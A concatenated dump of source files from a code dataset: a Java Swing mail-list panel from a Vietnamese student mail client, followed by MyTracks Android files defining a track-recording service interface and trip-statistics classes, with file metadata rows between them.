jTable_danhsachmail.getColumnModel().getColumn(1).setPreferredWidth(150);
javax.swing.GroupLayout jPanel_DanhSachMailLayout = new javax.swing.GroupLayout(jPanel_DanhSachMail);
jPanel_DanhSachMail.setLayout(jPanel_DanhSachMailLayout);
jPanel_DanhSachMailLayout.setHorizontalGroup(
jPanel_DanhSachMailLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 597, Short.MAX_VALUE)
);
jPanel_DanhSachMailLayout.setVerticalGroup(
jPanel_DanhSachMailLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 199, Short.MAX_VALUE)
);
jSplitPane1.setTopComponent(jPanel_DanhSachMail);
jPanel_ChiTietMail.setName("jPanel_ChiTietMail"); // NOI18N
jScrollPane2.setName("jScrollPane2"); // NOI18N
jEditorPane_chitietmail.setName("jEditorPane_chitietmail"); // NOI18N
jScrollPane2.setViewportView(jEditorPane_chitietmail);
jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder("Thông tin chi tiết mail đang chọn:"));
jPanel1.setName("jPanel1"); // NOI18N
jLabel1.setName("jLabel1"); // NOI18N
jLabel_chude.setName("jLabel_chude"); // NOI18N
jLabel2.setName("jLabel2"); // NOI18N
jLabel_goitu.setName("jLabel_goitu"); // NOI18N
jLabel4.setName("jLabel4"); // NOI18N
jLabel_ngay.setName("jLabel_ngay"); // NOI18N
javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
jPanel1.setLayout(jPanel1Layout);
jPanel1Layout.setHorizontalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(jLabel1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel_chude, javax.swing.GroupLayout.PREFERRED_SIZE, 54, javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(jPanel1Layout.createSequentialGroup()
.addComponent(jLabel2)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(jLabel_goitu)
.addGap(117, 117, 117)
.addComponent(jLabel4)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jLabel_ngay)))
.addContainerGap(448, Short.MAX_VALUE))
);
jPanel1Layout.setVerticalGroup(
jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel1Layout.createSequentialGroup()
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel1)
.addComponent(jLabel_chude, javax.swing.GroupLayout.PREFERRED_SIZE, 14, javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(jLabel2)
.addComponent(jLabel_goitu)
.addComponent(jLabel4)
.addComponent(jLabel_ngay)))
);
javax.swing.GroupLayout jPanel_ChiTietMailLayout = new javax.swing.GroupLayout(jPanel_ChiTietMail);
jPanel_ChiTietMail.setLayout(jPanel_ChiTietMailLayout);
jPanel_ChiTietMailLayout.setHorizontalGroup(
jPanel_ChiTietMailLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 597, Short.MAX_VALUE)
);
jPanel_ChiTietMailLayout.setVerticalGroup(
jPanel_ChiTietMailLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(jPanel_ChiTietMailLayout.createSequentialGroup()
.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 276, Short.MAX_VALUE))
);
jSplitPane1.setRightComponent(jPanel_ChiTietMail);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(this);
this.setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jSplitPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 599, Short.MAX_VALUE)
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jSplitPane1, javax.swing.GroupLayout.PREFERRED_SIZE, 538, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(20, Short.MAX_VALUE))
);
}// </editor-fold>//GEN-END:initComponents
private void formAncestorAdded(javax.swing.event.AncestorEvent evt) {//GEN-FIRST:event_formAncestorAdded
try {
// TODO add your handling code here:
MyMailBUS busMail = new MyMailBUS();
ArrayList<MyMailDTO> DanhSachMail = busMail.layTatCaMail();
DuaDanhSachMailVaoBang(DanhSachMail);
} catch (IOException ex) {
Logger.getLogger(JPanel_XemMail.class.getName()).log(Level.SEVERE, null, ex);
}
}//GEN-LAST:event_formAncestorAdded
private void jTable_danhsachmailMouseClicked(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jTable_danhsachmailMouseClicked
// TODO add your handling code here:
// TableColumnModel colModel = jTable_danhsachmail.getColumnModel();
// int columnModelIndex = colModel.getColumnIndexAtX(evt.getX());
// int modelIndex = colModel.getColumn(columnModelIndex).getModelIndex();
// JOptionPane.showMessageDialog(null, modelIndex);
}//GEN-LAST:event_jTable_danhsachmailMouseClicked
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JEditorPane jEditorPane_chitietmail;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel4;
private javax.swing.JLabel jLabel_chude;
private javax.swing.JLabel jLabel_goitu;
private javax.swing.JLabel jLabel_ngay;
private javax.swing.JPanel jPanel1;
private javax.swing.JPanel jPanel_ChiTietMail;
private javax.swing.JPanel jPanel_DanhSachMail;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JSplitPane jSplitPane1;
private javax.swing.JTable jTable_danhsachmail;
// End of variables declaration//GEN-END:variables
public void DuaDanhSachMailVaoBang(ArrayList<MyMailDTO>DanhSachMail){
// DanhSachMail.get(1);
/*Tabl tableMode = jTable_danhsachmail.getModel();
TableColumnModel columnModel = jTable_danhsachmail.getColumnModel();
TableColumn column= columnModel.getColumn(1);
int countColum = jTable_danhsachmail.getColumnCount();
int i =0;
int j = 1;
for(;j<countColum;j++)
{
//TableCellEditor cellEditor =jTable_danhsachmail
}
*/
Icon icon = new ImageIcon("C:\\1.png");
final String cacCotDuLieu[] = {"Tất cả","Tình trạng","Đính kèm","Chủ đề","Người gởi", "Ngày"};
Object DuLieu[][] = new Object[DanhSachMail.size()][cacCotDuLieu.length];
for(int i = 0; i < DanhSachMail.size();i++){
int index = 0;
DuLieu[i][index++] = false;
//for(int j = 1; i < model.) dulieu[index] = new Object();
if (i % 2 == 0){
DuLieu[i][index++] = icon;
}
if (i % 2 == 0){
//Icon icon = new ImageIcon("C:\\1.png");
DuLieu[i][index++] = icon;
}
DuLieu[i][index++] = DanhSachMail.get(i).getM_NguoiGoi();
//dulieu[index++] = DanhSachMail.get(i).getM_NguoiGoi();
DuLieu[i][index++] = DanhSachMail.get(i).getM_ChuDe();
DuLieu[i][index++] = DanhSachMail.get(i).getM_Ngay().toString();
}
final Object bangDuLieu[][] = DuLieu;
DefaultTableModel modelBangHienThi = new DefaultTableModel(bangDuLieu,cacCotDuLieu) {
@Override
public Class getColumnClass(int columnIndex) {
return (columnIndex == 0) ? Boolean.class : String.class;
}
@Override
public int getColumnCount() {
return cacCotDuLieu.length;
}
@Override
public String getColumnName(int column) {
return cacCotDuLieu[column];
}
@Override
public int getRowCount() {
return bangDuLieu.length;
}
@Override
public Object getValueAt(int row, int column) {
return bangDuLieu[row][column];
}
@Override
public boolean isCellEditable(int row, int column) {
return column == 0;
}
};
//JTable table = new JTable(modelBangHienThi);
//modelBangHienThi.isCellEditable(1, 1);
jTable_danhsachmail.setModel(modelBangHienThi);
TableColumn tc = jTable_danhsachmail.getColumnModel().getColumn(0);
tc.setCellEditor(jTable_danhsachmail.getDefaultEditor(Boolean.class));
tc.setCellRenderer(jTable_danhsachmail.getDefaultRenderer(Boolean.class));
tc.setHeaderRenderer(new CheckBoxHeader(new MyItemListener()));
/*jTable_danhsachmail.getColumnModel().getColumn(0).setCellRenderer(new TableCellRenderer() {
// the method gives the component like whome the cell must be rendered
public Component getTableCellRendererComponent(
JTable table, Object value, boolean isSelected, boolean isFocused, int row, int col) {
boolean marked = (Boolean) value;
JCheckBox rendererComponent = new JCheckBox();
if (marked) {
rendererComponent.setSelected(true);
//JOptionPane.showMessageDialog(null, "F");
}
return rendererComponent;
}
});
*/JTableHeader header = jTable_danhsachmail.getTableHeader();
header.addMouseListener(new MouseListener() {
public void mouseClicked(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
JTableHeader tableHeader = (JTableHeader) e.getSource();
//tableHeader.isFocusOwner();
//JOptionPane.showMessageDialog(null, tableHeader.getColumnModel().getColumnIndexAtX(e.getX()));
if(tableHeader.getColumnModel().getColumnIndexAtX(e.getX())==0)
//jTable_danhsachmail.getColumnModel().getColumn(1).s
tatCaDuocChon = !tatCaDuocChon;
DoiTrangThaiCotCheckBox(tatCaDuocChon);
}
public void mousePressed(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseReleased(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseEntered(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
public void mouseExited(MouseEvent e) {
//throw new UnsupportedOperationException("Not supported yet.");
}
});
/*
DefaultTableModel model = (DefaultTableModel)jTable_danhsachmail.getModel();
// int countcolumn =tableModel.getColumnCount();
// int index =1;
model.setRowCount(WIDTH);
for(int i = 0; i < DanhSachMail.size();i++){
int index = 1;
Object dulieu[] = new Object[model.getColumnCount()];
//for(int j = 1; i < model.) dulieu[index] = new Object();
dulieu[index++] = DanhSachMail.get(i).getM_NguoiGoi();
//dulieu[index++] = DanhSachMail.get(i).getM_NguoiGoi();
dulieu[index++] = DanhSachMail.get(i).getM_ChuDe();
dulieu[index] = DanhSachMail.get(i).getM_Ngay().toString();
model.addRow(dulieu);
}*/
}
private void DoiTrangThaiCotCheckBox (boolean isDuocChon){
TableModel tableModel = jTable_danhsachmail.getModel();
for (int i = 0; i < tableModel.getRowCount(); i++){
tableModel.setValueAt(isDuocChon, i, 0);
}
}
class MyItemListener implements ItemListener{
public void itemStateChanged(ItemEvent e) {
Object source = e.getSource();
if (source instanceof AbstractButton == false) return;
boolean checked = e.getStateChange() == ItemEvent.SELECTED;
for(int x = 0, y = jTable_danhsachmail.getRowCount(); x < y; x++)
{
jTable_danhsachmail.setValueAt(new Boolean(checked),x,0);
}
}
}
}
class CheckBoxHeader extends JCheckBox implements TableCellRenderer, MouseListener {
protected CheckBoxHeader rendererComponent;
protected int column;
protected boolean mousePressed = false;
public CheckBoxHeader(ItemListener itemListener) {
rendererComponent = this;
rendererComponent.addItemListener(itemListener);
}
public Component getTableCellRendererComponent(
JTable table, Object value,
boolean isSelected, boolean hasFocus, int row, int column) {
if (table != null) {
JTableHeader header = table.getTableHeader();
if (header != null) {
rendererComponent.setForeground(header.getForeground());
rendererComponent.setBackground(header.getBackground());
rendererComponent.setFont(header.getFont());
header.addMouseListener(rendererComponent);
}
}
setColumn(column);
rendererComponent.setText("");
setBorder(UIManager.getBorder("TableHeader.cellBorder"));
return rendererComponent;
}
protected void setColumn(int column) {
this.column = column;
}
public int getColumn() {
return column;
}
protected void handleClickEvent(MouseEvent e) {
if (mousePressed) {
mousePressed=false;
JTableHeader header = (JTableHeader)(e.getSource());
JTable tableView = header.getTable();
TableColumnModel columnModel = tableView.getColumnModel();
int viewColumn = columnModel.getColumnIndexAtX(e.getX());
int column = tableView.convertColumnIndexToModel(viewColumn);
if (viewColumn == this.column && e.getClickCount() == 1 && column != -1) {
doClick();
}
}
}
public void mouseClicked(MouseEvent e) {
handleClickEvent(e);
((JTableHeader)e.getSource()).repaint();
}
public void mousePressed(MouseEvent e) {
mousePressed = true;
}
public void mouseReleased(MouseEvent e) {
}
public void mouseEntered(MouseEvent e) {
}
public void mouseExited(MouseEvent e) {
}
}
| 0512324-0512328-0512333-mailclient | trunk/ 0512324-0512328-0512333-mailclient/DoAnLyThuyet_JavaOutLook/test/DAO/JPanel_XemMail_1.java | Java | asf20 | 21,547 |
/*
* Copyright 2008 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.services;
import com.google.android.apps.mytracks.content.WaypointCreationRequest;
/**
* MyTracks service.
* This service is the process that actually records and manages tracks.
*/
interface ITrackRecordingService {
/**
* Starts recording a new track.
*
* @return the track ID of the new track
*/
long startNewTrack();
/**
* Checks and returns whether we're currently recording a track.
*/
boolean isRecording();
/**
* Returns the track ID of the track currently being recorded, or -1 if none
* is being recorded. This ID can then be used to read track data from the
* content source.
*/
long getRecordingTrackId();
/**
* Inserts a waypoint marker in the track being recorded.
*
* @param request Details for the waypoint to be inserted.
* @return the unique ID of the inserted marker
*/
long insertWaypoint(in WaypointCreationRequest request);
/**
* Inserts a location in the track being recorded.
*
* When recording, locations detected by the GPS are already automatically
* added to the track, so this should be used only for adding special points
* or for testing.
*
* @param loc the location to insert
*/
void recordLocation(in Location loc);
/**
* Stops recording the current track.
*/
void endCurrentTrack();
/**
* The current sensor data.
* The data is returned as a byte array which is a binary version of a
* Sensor.SensorDataSet object.
* @return the current sensor data or null if there is none.
*/
byte[] getSensorData();
/**
* The current state of the sensor manager.
* The value is the value of a Sensor.SensorState enum.
*/
int getSensorState();
}
| 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/services/ITrackRecordingService.aidl | AIDL | asf20 | 2,340 |
/*
* Copyright 2009 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.stats;
/**
* A helper class that tracks a minimum and a maximum of a variable.
*
* @author Sandor Dornbush
*/
public class ExtremityMonitor {
/**
* The smallest value seen so far.
*/
private double min;
/**
* The largest value seen so far.
*/
private double max;
public ExtremityMonitor() {
reset();
}
/**
* Updates the min and the max with the new value.
*
* @param value the new value for the monitor
* @return true if an extremity was found
*/
public boolean update(double value) {
boolean changed = false;
if (value < min) {
min = value;
changed = true;
}
if (value > max) {
max = value;
changed = true;
}
return changed;
}
/**
* Gets the minimum value seen.
*
* @return The minimum value passed into the update() function
*/
public double getMin() {
return min;
}
/**
* Gets the maximum value seen.
*
* @return The maximum value passed into the update() function
*/
public double getMax() {
return max;
}
/**
* Resets this object to it's initial state where the min and max are unknown.
*/
public void reset() {
min = Double.POSITIVE_INFINITY;
max = Double.NEGATIVE_INFINITY;
}
/**
* Sets the minimum and maximum values.
*/
public void set(double min, double max) {
this.min = min;
this.max = max;
}
/**
* Sets the minimum value.
*/
public void setMin(double min) {
this.min = min;
}
/**
* Sets the maximum value.
*/
public void setMax(double max) {
this.max = max;
}
public boolean hasData() {
return min != Double.POSITIVE_INFINITY
&& max != Double.NEGATIVE_INFINITY;
}
@Override
public String toString() {
return "Min: " + min + " Max: " + max;
}
}
| 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/stats/ExtremityMonitor.java | Java | asf20 | 2,451 |
package com.google.android.apps.mytracks.stats;
parcelable TripStatistics; | 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/stats/TripStatistics.aidl | AIDL | asf20 | 74 |
/*
* Copyright 2010 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations under
* the License.
*/
package com.google.android.apps.mytracks.stats;
import android.os.Parcel;
import android.os.Parcelable;
/**
* Statistical data about a trip.
* The data in this class should be filled out by TripStatisticsBuilder.
*
* TODO: hashCode and equals
*
* @author Rodrigo Damazio
*/
public class TripStatistics implements Parcelable {
/**
* The start time for the trip. This is system time which might not match gps
* time.
*/
private long startTime = -1L;
/**
* The stop time for the trip. This is the system time which might not match
* gps time.
*/
private long stopTime = -1L;
/**
* The total time that we believe the user was traveling in milliseconds.
*/
private long movingTime;
/**
* The total time of the trip in milliseconds.
* This is only updated when new points are received, so it may be stale.
*/
private long totalTime;
/**
* The total distance in meters that the user traveled on this trip.
*/
private double totalDistance;
/**
* The total elevation gained on this trip in meters.
*/
private double totalElevationGain;
/**
* The maximum speed in meters/second reported that we believe to be a valid
* speed.
*/
private double maxSpeed;
/**
* The min and max latitude values seen in this trip.
*/
private final ExtremityMonitor latitudeExtremities = new ExtremityMonitor();
/**
* The min and max longitude values seen in this trip.
*/
private final ExtremityMonitor longitudeExtremities = new ExtremityMonitor();
/**
* The min and max elevation seen on this trip in meters.
*/
private final ExtremityMonitor elevationExtremities = new ExtremityMonitor();
/**
* The minimum and maximum grade calculations on this trip.
*/
private final ExtremityMonitor gradeExtremities = new ExtremityMonitor();
/**
* Default constructor.
*/
public TripStatistics() {
}
/**
* Copy constructor.
*
* @param other another statistics data object to copy from
*/
public TripStatistics(TripStatistics other) {
this.maxSpeed = other.maxSpeed;
this.movingTime = other.movingTime;
this.startTime = other.startTime;
this.stopTime = other.stopTime;
this.totalDistance = other.totalDistance;
this.totalElevationGain = other.totalElevationGain;
this.totalTime = other.totalTime;
this.latitudeExtremities.set(other.latitudeExtremities.getMin(),
other.latitudeExtremities.getMax());
this.longitudeExtremities.set(other.longitudeExtremities.getMin(),
other.longitudeExtremities.getMax());
this.elevationExtremities.set(other.elevationExtremities.getMin(),
other.elevationExtremities.getMax());
this.gradeExtremities.set(other.gradeExtremities.getMin(),
other.gradeExtremities.getMax());
}
/**
* Combines these statistics with those from another object.
* This assumes that the time periods covered by each do not intersect.
*
* @param other the other waypoint
*/
public void merge(TripStatistics other) {
startTime = Math.min(startTime, other.startTime);
stopTime = Math.max(stopTime, other.stopTime);
totalTime += other.totalTime;
movingTime += other.movingTime;
totalDistance += other.totalDistance;
totalElevationGain += other.totalElevationGain;
maxSpeed = Math.max(maxSpeed, other.maxSpeed);
latitudeExtremities.update(other.latitudeExtremities.getMax());
latitudeExtremities.update(other.latitudeExtremities.getMin());
longitudeExtremities.update(other.longitudeExtremities.getMax());
longitudeExtremities.update(other.longitudeExtremities.getMin());
elevationExtremities.update(other.elevationExtremities.getMax());
elevationExtremities.update(other.elevationExtremities.getMin());
gradeExtremities.update(other.gradeExtremities.getMax());
gradeExtremities.update(other.gradeExtremities.getMin());
}
/**
* Gets the time that this track started.
*
* @return The number of milliseconds since epoch to the time when this track
* started
*/
public long getStartTime() {
return startTime;
}
/**
* Gets the time that this track stopped.
*
* @return The number of milliseconds since epoch to the time when this track
* stopped
*/
public long getStopTime() {
return stopTime;
}
/**
* Gets the total time that this track has been active.
* This statistic is only updated when a new point is added to the statistics,
* so it may be off. If you need to calculate the proper total time, use
* {@link #getStartTime} with the current time.
*
* @return The total number of milliseconds the track was active
*/
public long getTotalTime() {
return totalTime;
}
/**
* Gets the total distance the user traveled.
*
* @return The total distance traveled in meters
*/
public double getTotalDistance() {
return totalDistance;
}
/**
* Gets the the average speed the user traveled.
* This calculation only takes into account the displacement until the last
* point that was accounted for in statistics.
*
* @return The average speed in m/s
*/
public double getAverageSpeed() {
if (totalTime == 0L) {
return 0.0;
}
return totalDistance / ((double) totalTime / 1000.0);
}
/**
* Gets the the average speed the user traveled when they were actively
* moving.
*
* @return The average moving speed in m/s
*/
public double getAverageMovingSpeed() {
if (movingTime == 0L) {
return 0.0;
}
return totalDistance / ((double) movingTime / 1000.0);
}
/**
* Gets the the maximum speed for this track.
*
* @return The maximum speed in m/s
*/
public double getMaxSpeed() {
return maxSpeed;
}
/**
* Gets the moving time.
*
* @return The total number of milliseconds the user was moving
*/
public long getMovingTime() {
return movingTime;
}
/**
* Gets the total elevation gain for this trip. This is calculated as the sum
* of all positive differences in the smoothed elevation.
*
* @return The elevation gain in meters for this trip
*/
public double getTotalElevationGain() {
return totalElevationGain;
}
/**
* Returns the leftmost position (lowest longitude) of the track, in signed degrees.
*/
public double getLeftDegrees() {
return longitudeExtremities.getMin();
}
/**
* Returns the leftmost position (lowest longitude) of the track, in signed millions of degrees.
*/
public int getLeft() {
return (int) (longitudeExtremities.getMin() * 1E6);
}
/**
* Returns the rightmost position (highest longitude) of the track, in signed degrees.
*/
public double getRightDegrees() {
return longitudeExtremities.getMax();
}
/**
* Returns the rightmost position (highest longitude) of the track, in signed millions of degrees.
*/
public int getRight() {
return (int) (longitudeExtremities.getMax() * 1E6);
}
/**
* Returns the bottommost position (lowest latitude) of the track, in signed degrees.
*/
public double getBottomDegrees() {
return latitudeExtremities.getMin();
}
/**
* Returns the bottommost position (lowest latitude) of the track, in signed millions of degrees.
*/
public int getBottom() {
return (int) (latitudeExtremities.getMin() * 1E6);
}
/**
* Returns the topmost position (highest latitude) of the track, in signed degrees.
*/
public double getTopDegrees() {
return latitudeExtremities.getMax();
}
/**
* Returns the topmost position (highest latitude) of the track, in signed millions of degrees.
*/
public int getTop() {
return (int) (latitudeExtremities.getMax() * 1E6);
}
/**
* Returns the mean position (center latitude) of the track, in signed degrees.
*/
public double getMeanLatitude() {
return (getBottomDegrees() + getTopDegrees()) / 2.0;
}
/**
* Returns the mean position (center longitude) of the track, in signed degrees.
*/
public double getMeanLongitude() {
return (getLeftDegrees() + getRightDegrees()) / 2.0;
}
/**
* Gets the minimum elevation seen on this trip. This is calculated from the
* smoothed elevation so this can actually be more than the current elevation.
*
* @return The smallest elevation reading for this trip in meters
*/
public double getMinElevation() {
return elevationExtremities.getMin();
}
/**
* Gets the maximum elevation seen on this trip. This is calculated from the
* smoothed elevation so this can actually be less than the current elevation.
*
* @return The largest elevation reading for this trip in meters
*/
public double getMaxElevation() {
return elevationExtremities.getMax();
}
/**
* Gets the maximum grade for this trip.
*
* @return The maximum grade for this trip as a fraction
*/
public double getMaxGrade() {
return gradeExtremities.getMax();
}
/**
* Gets the minimum grade for this trip.
*
* @return The minimum grade for this trip as a fraction
*/
public double getMinGrade() {
return gradeExtremities.getMin();
}
// Setters - to be used when restoring state or loading from the DB
/**
* Sets the start time for this trip.
*
* @param startTime the start time, in milliseconds since the epoch
*/
public void setStartTime(long startTime) {
this.startTime = startTime;
}
/**
* Sets the stop time for this trip.
*
* @param stopTime the stop time, in milliseconds since the epoch
*/
public void setStopTime(long stopTime) {
this.stopTime = stopTime;
}
/**
* Sets the total moving time.
*
* @param movingTime the moving time in milliseconds
*/
public void setMovingTime(long movingTime) {
this.movingTime = movingTime;
}
/**
* Sets the total trip time.
*
* @param totalTime the total trip time in milliseconds
*/
public void setTotalTime(long totalTime) {
this.totalTime = totalTime;
}
/**
* Sets the total trip distance.
*
* @param totalDistance the trip distance in meters
*/
public void setTotalDistance(double totalDistance) {
this.totalDistance = totalDistance;
}
/**
* Sets the total elevation variation during the trip.
*
* @param totalElevationGain the elevation variation in meters
*/
public void setTotalElevationGain(double totalElevationGain) {
this.totalElevationGain = totalElevationGain;
}
/**
* Sets the maximum speed reached during the trip.
*
* @param maxSpeed the maximum speed in meters per second
*/
public void setMaxSpeed(double maxSpeed) {
this.maxSpeed = maxSpeed;
}
/**
* Sets the minimum elevation reached during the trip.
*
* @param elevation the minimum elevation in meters
*/
public void setMinElevation(double elevation) {
elevationExtremities.setMin(elevation);
}
/**
* Sets the maximum elevation reached during the trip.
*
* @param elevation the maximum elevation in meters
*/
public void setMaxElevation(double elevation) {
elevationExtremities.setMax(elevation);
}
/**
* Sets the minimum grade obtained during the trip.
*
* @param grade the grade as a fraction (-1.0 would mean vertical downwards)
*/
public void setMinGrade(double grade) {
gradeExtremities.setMin(grade);
}
/**
* Sets the maximum grade obtained during the trip).
*
* @param grade the grade as a fraction (1.0 would mean vertical upwards)
*/
public void setMaxGrade(double grade) {
gradeExtremities.setMax(grade);
}
/**
* Sets the bounding box for this trip.
* The unit for all parameters is signed decimal degrees (degrees * 1E6).
*
* @param leftE6 the westmost longitude reached
* @param topE6 the northmost latitude reached
* @param rightE6 the eastmost longitude reached
* @param bottomE6 the southmost latitude reached
*/
public void setBounds(int leftE6, int topE6, int rightE6, int bottomE6) {
latitudeExtremities.set(bottomE6 / 1E6, topE6 / 1E6);
longitudeExtremities.set(leftE6 / 1E6, rightE6 / 1E6);
}
// Data manipulation methods
/**
* Adds to the current total distance.
*
* @param distance the distance to add in meters
*/
void addTotalDistance(double distance) {
totalDistance += distance;
}
/**
* Adds to the total elevation variation.
*
* @param gain the elevation variation in meters
*/
void addTotalElevationGain(double gain) {
totalElevationGain += gain;
}
/**
* Adds to the total moving time of the trip.
*
* @param time the time in milliseconds
*/
void addMovingTime(long time) {
movingTime += time;
}
/**
* Accounts for a new latitude value for the bounding box.
*
* @param latitude the latitude value in signed decimal degrees
*/
void updateLatitudeExtremities(double latitude) {
latitudeExtremities.update(latitude);
}
/**
* Accounts for a new longitude value for the bounding box.
*
* @param longitude the longitude value in signed decimal degrees
*/
void updateLongitudeExtremities(double longitude) {
longitudeExtremities.update(longitude);
}
/**
* Accounts for a new elevation value for the bounding box.
*
* @param elevation the elevation value in meters
*/
void updateElevationExtremities(double elevation) {
elevationExtremities.update(elevation);
}
/**
* Accounts for a new grade value.
*
* @param grade the grade value as a fraction
*/
void updateGradeExtremities(double grade) {
gradeExtremities.update(grade);
}
// String conversion
@Override
public String toString() {
return "TripStatistics { Start Time: " + getStartTime()
+ "; Total Time: " + getTotalTime()
+ "; Moving Time: " + getMovingTime()
+ "; Total Distance: " + getTotalDistance()
+ "; Elevation Gain: " + getTotalElevationGain()
+ "; Min Elevation: " + getMinElevation()
+ "; Max Elevation: " + getMaxElevation()
+ "; Average Speed: " + getAverageMovingSpeed()
+ "; Min Grade: " + getMinGrade()
+ "; Max Grade: " + getMaxGrade()
+ "}";
}
// Parcelable interface and creator
/**
* Creator of statistics data from parcels.
*/
public static class Creator
implements Parcelable.Creator<TripStatistics> {
@Override
public TripStatistics createFromParcel(Parcel source) {
TripStatistics data = new TripStatistics();
data.startTime = source.readLong();
data.movingTime = source.readLong();
data.totalTime = source.readLong();
data.totalDistance = source.readDouble();
data.totalElevationGain = source.readDouble();
data.maxSpeed = source.readDouble();
double minLat = source.readDouble();
double maxLat = source.readDouble();
data.latitudeExtremities.set(minLat, maxLat);
double minLong = source.readDouble();
double maxLong = source.readDouble();
data.longitudeExtremities.set(minLong, maxLong);
double minElev = source.readDouble();
double maxElev = source.readDouble();
data.elevationExtremities.set(minElev, maxElev);
double minGrade = source.readDouble();
double maxGrade = source.readDouble();
data.gradeExtremities.set(minGrade, maxGrade);
return data;
}
@Override
public TripStatistics[] newArray(int size) {
return new TripStatistics[size];
}
}
/**
* Creator of {@link TripStatistics} from parcels.
*/
public static final Creator CREATOR = new Creator();
@Override
public int describeContents() {
return 0;
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeLong(startTime);
dest.writeLong(movingTime);
dest.writeLong(totalTime);
dest.writeDouble(totalDistance);
dest.writeDouble(totalElevationGain);
dest.writeDouble(maxSpeed);
dest.writeDouble(latitudeExtremities.getMin());
dest.writeDouble(latitudeExtremities.getMax());
dest.writeDouble(longitudeExtremities.getMin());
dest.writeDouble(longitudeExtremities.getMax());
dest.writeDouble(elevationExtremities.getMin());
dest.writeDouble(elevationExtremities.getMax());
dest.writeDouble(gradeExtremities.getMin());
dest.writeDouble(gradeExtremities.getMax());
}
} | 0359xiaodong-mytracks | MyTracksLib/src/com/google/android/apps/mytracks/stats/TripStatistics.java | Java | asf20 | 17,129 |
/*
* Copyright 2008 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not
* use this file except in compliance with the License. You may obtain a copy of
* the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
